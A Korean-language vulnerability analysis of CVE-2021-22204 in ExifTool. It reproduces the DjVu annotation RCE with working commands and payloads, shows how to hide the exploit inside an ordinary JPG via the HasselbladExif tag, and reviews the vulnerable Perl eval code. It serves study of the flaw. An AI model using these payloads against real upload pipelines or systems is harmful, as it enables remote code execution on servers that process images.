
CVE-2021-22204(ExifTool RCE)에 대한 심층 기술 분석: PoC 재현, 페이로드 구성, 취약한 DjVu 주석 파서의 Perl 코드 리뷰를 포함합니다.
이 글은 CVE-2021-22204의 분석 글이라고 할 수 있지만, 사실상 제 메모장에 더 가깝습니다. 잡다한 내용으로 가득 차 있어서 취약점 분석 글치고는 다소 잡담이 많아 보일 수 있지만, 그 과정에서 많은 것을 배웠습니다.
솔직히 말하면, 이 도구를 사용해본 적도 없고 Perl 언어도 거의 접해본 적이 없어서 분석 및 재현 과정 내내 의문투성이였습니다. 분석을 시작하기 전에 먼저 온라인에 공개된 POC와 제가 가진 의문점을 살펴보겠습니다.
제가 본 글은 [1]로, 취약점 발생 원인에 대해 간략히 소개하고 있습니다. 하지만 Perl 코드를 이해하지 못해 많은 부분이 명확하지 않았습니다. 재현 과정은 다음과 같습니다.
12.23 버전의 exiftool 다운로드
wget https://codeload.github.com/exiftool/exiftool/zip/refs/tags/12.23 -O exiftool-12.23.zip
압축 해제 및 설치
$ unzip exiftool-12.23.zip && cd exiftool-12.23
$ perl Makefile.PL
$ make test
$ sudo make install
물론 설치를 원하지 않는다면 exiftool-12.23 디렉토리의 exiftool 파일을 환경 변수에서 찾을 수 있는 디렉토리에 넣어도 됩니다. Perl은 python과 같은 인터프리터 언어이기 때문에 exiftool 도구를 바로 사용할 수 있습니다.
악성 이미지를 만들기 위해 먼저 필요한 도구를 설치합니다.
$ sudo apt-get update
$ sudo apt-get install djvulibre-bin
다음 명령을 실행하여 악성 djvu 파일을 생성합니다.
$ echo "(metadata \"\\\\c\${system('id')};\")" > payload
# 这是最让我困惑的地方,我不懂为什么要进行压缩(因为看其他POC是不需要的)
$ bzz payload payload.bzz
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
그런 다음 exiftool 도구로 해당 악성 파일을 파싱하면 id 명령이 성공적으로 실행된 것을 확인할 수 있습니다.
$ exiftool exploit.jdvu
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
앞서 djvumake 명령으로 djvu 형식 파일을 만들 때 payload를 압축하지 않을 수 있을까요? 분석 관점에서 보면 압축은 확인과 테스트를 어렵게 만들기 때문입니다. 물론 가능합니다. ANTz 파라미터만 ANTa로 바꾸면 됩니다. ANTz와 ANTa는 exiftool 문서[3]을 참고할 수 있지만, 표준 설명을 찾지 못해 구체적인 의미는 아직 확인하지 못했습니다.
여기서 한 가지 불만을 말하자면,
man djvumake로 파라미터 설명을 확인하려 했지만ANTz와ANTa에 대한 설명이 전혀 없었습니다. 문서 날짜가 2001년으로 오랫동안 업데이트되지 않았습니다.
| Tag ID | Tag Name | Writable |
|---|---|---|
| 'ANTa' | ANTa | - |
| 'ANTz' | CompressedAnnotation | - |
ANTa는 djvu 파일 내 metadata에 Annotation을 평문 형식으로 저장하며, ANTz는 bzz 압축 형식입니다.
그러나 djvu 형식 파일은 흔하지 않습니다. 특히 웹사이트에 이미지 업로드 기능이 있는 경우 대부분 png/jpg/jpeg 등의 파일만 허용합니다. 따라서 악성 djvu 파일을 jpg 파일로 만들 수 있다면 좋을 것입니다.
exiftool 도구는 이미지 콘텐츠를 수정하는 데 도움을 줄 수 있습니다. 악성 djvu 파일을 jpg 파일의 적절한 위치에 삽입하기만 하면 됩니다. 정확히 어떤 위치인지, 왜 그 위치가 가능한지는 나중에 분석하면서 설명하겠습니다.
exiftool 설정 파일 eval.config 작성
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
# 0xc51b 对应Tag 'HasselbladExif'[6]
0xc51b => {
# 名字可以随意指定,这是接收的参数名称
Name => 'HasselbladExif',
# 可写入的变量类型
Writable => 'string',
# 写入的数据归属于metadata的哪一个Group[7]
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end
exiftool 설정 파일 작성 방법은 [4][5]를 참고할 수 있습니다. 그런 다음 일반 jpg 이미지 파일 poc.jpg를 찾아 다음 명령을 실행합니다.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' poc.jpg
다시 exiftool로 poc.jpg를 파싱하면 명령이 성공적으로 실행됩니다.
$ exiftool poc.jpg
uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
ExifTool Version Number : 12.23
File Name : exploit.djvu
Directory : .
File Size : 88 bytes
File Modification Date/Time : 2021:11:02 21:55:23+08:00
File Access Date/Time : 2021:11:02 21:55:23+08:00
File Inode Change Date/Time : 2021:11:02 21:55:23+08:00
File Permissions : -rwxrwxrwx
File Type : DJVU
File Type Extension : djvu
MIME Type : image/vnd.djvu
Image Width : 1
Image Height : 1
DjVu Version : 0.24
Spatial Resolution : 300
Gamma : 2.2
Orientation : Horizontal (normal)
Image Size : 1x1
Megapixels : 0.000001
다음 분석 과정은 [2]의 내용을 참고했습니다. 취약점 영향 버전은 exiftool < 12.24이며, 취약점을 유발하는 파일은 다음과 같습니다.
lib/Image/ExifTool/DjVu.pm (line 202)
관련 함수 코드는 다음과 같습니다.
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
my $dataPt = shift;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
Perl 언어를 접해본 적이 없어서 솔직히 이 코드가 무엇을 하는지 거의 이해하지 못했습니다. 다행히 함수의 기능을 이해하는 데 도움이 되는 훌륭한 주석이 있었습니다. 함수 주석에 따르면 이 함수는 djvu 파일의 annotation 데이터를 파싱하는 용도이며, 코드 구조상 재귀적으로 처리됩니다. 또한 annotation 데이터는 ()로 경계가 나뉩니다.
코드 이해를 돕고 학습 목적으로 Perl 내부 정규 표현식 사용법을 간단히 소개하겠습니다.
Perl 정규 표현식의 사용 방법은 매우 특별해서 제가 이전에 접했던 언어들과는 다릅니다. Perl에는 세 가지 형태의 정규 표현식이 있습니다.
m//, m은 생략 가능s///tr///// 사이에는 정규 표현식 또는 문자열이 들어갑니다. 하지만 구분 기호가 //에 국한되지 않고 {}도 사용할 수 있는데, 이것이 Perl 언어의 특징입니다.
먼저 매칭 코드 예시를 살펴보겠습니다.
#!/usr/bin/perl
$str = "this is a string";
$str =~ /this/;
print $str;
print "\n";
Perl에서는 =~ 연산자를 통해 정규 표현식 기능을 사용할 수 있습니다. 위 코드는 정규 표현식 일치 여부와 관계없이 $str을 출력하며, 결과는 항상 this is a string입니다. 하지만 정규 표현식이 일치하지 않으면 불리언 값 false를 반환합니다.
#!/usr/bin/perl
$str = "this is a string";
if ($str =~ /this12/) {
print "true\n";
} else {
print "false\n";
}
문자열 변수의 내용을 치환하려면 다음과 같이 할 수 있습니다.
#!/usr/bin/perl
$str = "this is a string";
# or $str =~ s{string}{str};
$str =~ s/string/str/;
print $str;
print "\n";
# ouput
# this is str
치환 기능을 사용하면 변수의 값이 직접 변경됩니다.
Perl의 정규 표현식 내용을 이해했으니 다시 앞의 함수를 살펴보겠습니다.
#------------------------------------------------------------------------------
# Parse DjVu annotation "s-expression" syntax (recursively)
# Inputs: 0) data ref (with pos($$dataPt) set to start of annotation)
# Returns: reference to list of tokens/references, or undef if no tokens,
# and the position in $$dataPt is set to end of last token
# Notes: The DjVu annotation syntax is not well documented, so I make
# a number of assumptions here!
sub ParseAnt($)
{
# 获取传入的参数(是个引用)
my $dataPt = shift;
print($$dataPt);
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
if ($1 eq '(') { # start of list
# 遇到左括号则递归处理
$tok = ParseAnt($dataPt);
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
$tok = '';
for (;;) {
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
# 获取前一次正则匹配命中的位置,执行到这里,这个位置就是第一个引号的位置
my $pos = pos($$dataPt);
last Tok unless $$dataPt =~ /"/sg;
# 再次匹配右引号的位置,并截取引号之间的内容
$tok .= substr($$dataPt, $pos, pos($$dataPt)-1-$pos);
print($tok."\n");
# we're good unless quote was escaped by odd number of backslashes
# 检查反斜杠的数量是不是奇数,避免在后续qq{""}时,行尾的"被转义
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;
# 如果是奇数,则补上一个"号
$tok .= '"'; # quote is part of the string
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print(qq{"$tok"}."\n");
$tok = eval qq{"$tok"};
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/sg ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
이해를 돕기 위해 exiftool이 파싱할 때 이 함수를 실행하게 할 적절한 파일이 필요합니다. 앞의 방식으로 djvu 파일 exploit.djvu를 생성할 수 있으며, payload 내용은 다음과 같습니다.
(metadata (Author "trganda"))
그런 다음 ParseAnt($) 함수의 주요 부분에 위와 같이 print를 추가하여 정보를 출력합니다. 이후 exiftool 소스 코드 디렉토리에서 다음을 실행합니다.
$ ./exiftool you_path_to/exploit.djvu
(metadata (Author "trganda"))
(metadata (Author "trganda"))
(metadata (Author "trganda"))
trganda
"trganda"
... ignore
여기서 마지막으로 eval에 전달되어 실행되는 내용을 확인할 수 있습니다. 이중 인용부호를 놓치지 마세요.
"trganda"
그렇다면 trganda를 system 함수로 바꿔 명령을 실행할 수 있을까요? 직접 확인해 봅시다.
$tok = "${system('id')};";
# output
# "\${system('id')};"
실행해 보면 출력되는 내용은 단지 전달된 텍스트일 뿐 코드는 실행되지 않습니다. 그 이유는 $가 \$로 치환되기 때문입니다.
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
그렇다면 이 제한을 어떻게 우회할 수 있을까요? 이 문제는 단계적으로 접근해야 합니다. [2]의 저자는 테스트 과정에서 다음과 같은 payload를 사용했습니다.
(metadata (Author "a\
""))
실행 후 출력은 다음과 같으며 eval에서 예외가 발생했습니다.
(metadata (Author "a\
""))
(metadata (Author "a\
""))
(metadata (Author "a\
""))
a\
a\
"
"a\
""
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
여기서 이 payload가 전달된 후 어떤 일이 발생하는지 설명하겠습니다. 주로 두 번째 for 루프에 주목하세요.
# Author 这个Annotation的内容为,不要遗漏\n
"a\(\n)
""
# 在for循环中第一次截取子串,$tok得到的内容是,因为第一次正则匹配到了第一个双引号,第二次匹配到第二行的第一个双引号
a\(\n)
# 接着代码会检查行尾的\数量是不是奇数,如果是,则会补上一个",
# 而正则$tok =~ /(\\+)$/在匹配时,$符号是匹配\n的而不是文本的结尾。
# 这样就会执行后面的代码,给$tok的末尾补上一个"。
a\(\n)"
# 第二次进入循环截取子串,得到的内容是第二行""之间的内容,但这里是空的,与$tok拼接后得到的结果和前面一样
a\(\n)"
# 之后进入eval执行的内容是
qq{"$tok"} -> "a\(\n)""
# eval执行后报错,因为"没有闭合
String found where operator expected at (eval 8) line 2, at end of line
(Missing semicolon on previous line?)
Perl에서 eval의 실행 로직에 대해서는 공식 문서[9]를 참고하는 것이 좋습니다. 하지만 문서에 언급되지 않은 내용도 있고 Perl을 사용해본 적이 없어 처음에는 일부 내용을 이해할 수 없었습니다. 코드 샘플 테스트를 반복하면서 eval의 특정 로직을 이해할 수밖에 없었습니다. 아래에서 이 취약점을 이해하는 데 도움이 되는 내용을 언급한 후 실제 payload의 실행 과정을 설명하겠습니다.
Perl에서 eval은 코드 조각을 실행하는 것 외에도 예외를 포착할 수 있으며 프로그램 실행을 중단하지 않습니다. eval은 문자열 상수, 문자열 변수를 받거나 코드를 직접 넣어 파싱 및 실행할 수 있습니다.
# 字符串常量
eval "system('id')";
# 变量
$cm = "system('id')";
eval $cm;
eval "$cm";
# 直接执行代码
eval {system('id');};
# output
# uid=1000(trganda) gid=1000(trganda) groups=1000(trganda),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
eval의 실행 전략은 마지막 하위 문장의 결과만 반환하는 것입니다. 즉, 여러 코드 조각이 포함된 경우 마지막 결과만 가져옵니다. 예를 들면 다음과 같습니다.
eval "system('id'); system('date');"
# output
# 2021年 11月 04日 星期四 11:49:22 CST
eval이 특정 문장을 실행할 때 오류가 발생하면 이후 코드도 더 이상 실행되지 않으며, (있다면) 예외가 발생합니다.
방금 전의 테스트용 payload를 다시 보면 무엇을 발견할 수 있을까요? 만약 "를 성공적으로 닫고 실행하려는 코드를 두 번째 줄의 " 사이에 넣을 수 있다면, 코드는 eval에 의해 실행될 수 있습니다.
[2]의 저자는 다음과 같은 형태를 제시했습니다.
(metadata
(Author "\
" . return `date`; #")
)
# 最后传入eval执行的内容为
"\
" . return `date`; #"
그렇다면 eval에 의해 실행되는 이 부분을 어떻게 이해할 수 있을까요? 먼저 . 연산자는 Perl에서 문자열을 연결하는 데 사용되므로 다음이 먼저 실행됩니다.
return `date`;
그런 다음 반환된 결과를 \(\n)과 연결합니다. 사실 이 return을 추가하지 않아도 date 명령 실행에는 영향을 주지 않으며, 마지막 "는 주석 처리됩니다.
물론 다음과 같이 작성할 수도 있습니다.
(metadata (Author "\
"; return `date`; #"))
# 最后传入eval执行的内容为
"\
"; return `date`; #"
이 방식에서는 eval이 먼저 "\(\n)";를 파싱하는데, 이 부분은 문자열로 해석됩니다. 이후 뒤의 문장을 계속 파싱하므로 date 명령도 성공적으로 실행됩니다.
위의 payload를 실행하면 아래와 같은 결과가 표시되며 성공적으로 실행된 것을 확인할 수 있습니다.
Useless use of a constant ("\n") in void context at (eval 8) line 1.
ExifTool Version Number : 12.23
File Name : exploit.djvu
...
Author : 2021年 11月 04日 星期四 15:22:05 CST.
...
여기까지 쓰다 보니 조금 지쳤습니다. [2]의 저자가 제시한 payload는 "를 회피하여 완벽하게 실행될 수 있습니다. 그렇다면 다른 방법도 있을까요? 사실 처음 [1]의 내용을 다시 보면 이미 답이 나와 있습니다.
(metadata "\c${system('id')};")
ParseAnt($) 함수는 $ 기호를 치환하므로 직접 실행이 불가능하다는 점을 알아야 합니다. 그렇다면 왜 이것은 가능할까요? \c의 역할이 궁금하지 않으신가요? 먼저 위의 payload로 djvu 파일을 생성하고 exiftool로 파싱한 후 eval에 전달되는 내용은 다음과 같습니다.
"\c\${system('id')};"
\c가 없는 경우입니다.
"\${system('id')};"
이 코드는 실제로 실행되지 않으며, $ 기호가 이스케이프 처리되었기 때문에 마지막에 반환되는 것은 문자열일 뿐입니다. \c의 역할은 $ 앞의 \ 효과를 취소하여 뒤의 코드가 실행되도록 하는 것입니다. Perl에는 많은 이스케이프 문자가 있으며 \c도 그중 하나입니다. 다만 단독으로 사용되지 않고 임의의 문자 하나와 함께 사용됩니다.
| 이스케이프 문자 | 의미 |
|---|---|
| \cX | 제어 문자, X는 모든 문자가 될 수 있음 |
바로 이것 때문에 \c\가 다른 내용으로 해석되어 뒤의 코드가 실행될 수 있습니다.
앞에서 생성한 악성 파일은 모두 djvu 형식 파일에 국한되어 있습니다. jpg 이미지와 같은 일반적인 파일을 생성할 수 있다면 더 의미 있을 것입니다. 이를 위해서는 어떤 파일을 파싱할 때 취약한 함수 ParseAnt($)가 호출되는지 찾아야 합니다.
호출 관계를 거슬러 올라가 검색해 보니 ProcessAnt($$$)가 ParseAnt($)를 호출한다는 것을 발견했지만, 더 위로 거슬러 올라가면 직접 찾을 수 없었습니다.
ProcessAnt($$$)
|
v
ParseAnt($)
Perl 언어에는 모듈의 동적 로딩 메커니즘이 있으므로 Djvu.pm 파일이 로드되는 위치를 찾아볼 수 있습니다.

찾은 파일들을 하나씩 확인한 결과 lib/Image/ExifTool.pm의 line 2620에 파일 유형에 따라 해당 파일을 처리할 모듈을 결정하는 코드가 있습니다.
#------------------------------------------------------------------------------
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
# ...
my $module = $moduleName{$type};
$module = $type unless defined $module;
my $func = "Process$type";
# load module if necessary
if ($module) {
require "Image/ExifTool/$module.pm";
$func = "Image::ExifTool::${module}::$func";
} elsif ($module eq '0') {
$self->SetFileType();
$self->Warn('Unsupported file type');
last;
}
# ...
}
그 후 ExtractInfo($;@)가 호출되는 위치를 계속 찾아보니 여러 곳이 있었으며, 주로 lib/Image/ExifTool/Exif.pm의 line 3004에 있는 코드를 살펴봤습니다.
# main EXIF tag table
%Image::ExifTool::Exif::Main = (
GROUPS => { 0 => 'EXIF', 1 => 'IFD0', 2 => 'Image'},
WRITE_PROC => \&WriteExif,
CHECK_PROC => \&CheckExif,
WRITE_GROUP => 'ExifIFD', # default write group
SET_GROUP1 => 1, # set group1 name to directory name for all tags in table
# ...
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
# ...
);
%Image::ExifTool::Exif::Main은 Map 형태의 테이블이며, Exif.pm의 기능은 주석에서도 EXIF/TIFF 규격을 따르는 metadata 정보를 읽는 용도로 명시되어 있습니다.
Description: Read EXIF/TIFF meta information
사실 앞에서 재현할 때 %Image::ExifTool::Exif::Main을 이미 보았지만, 그때는 0xc51이 무엇을 의미하는지, 왜 반드시 이 값이어야 하는지 이해하지 못했습니다. 이제는 파일의 metadata 정보가 0xc51 id에 해당하는 내용을 포함하기만 하면 ExtractInfo 함수에 의해 파싱되어 단계적으로 취약한 함수에 도달한다는 것을 알게 되었습니다.
그래서 앞에서는 exiftool의 강력한 사용자 정의 기능을 이용해 config 파일을 작성하고, 일반 jpg 파일에 0xc51b 유형의 metadata를 삽입하여 그 안에 악성 콘텐츠를 저장했습니다. 여기까지 전체 트리거 과정이 대체로 명확해졌고 제 의문점도 모두 해결되었습니다. [2]의 저자는 다른 형식의 파일에 악성 데이터를 삽입하는 방법도 제시했는데, 그 접근 방식도 이와 유사합니다.
github의 diff 결과를 확인하면 다음과 같습니다.

[3] TagNames of DjVu
[4] TagNames Explan
[6] EXIF
[7] Groups
[9] eval in Perl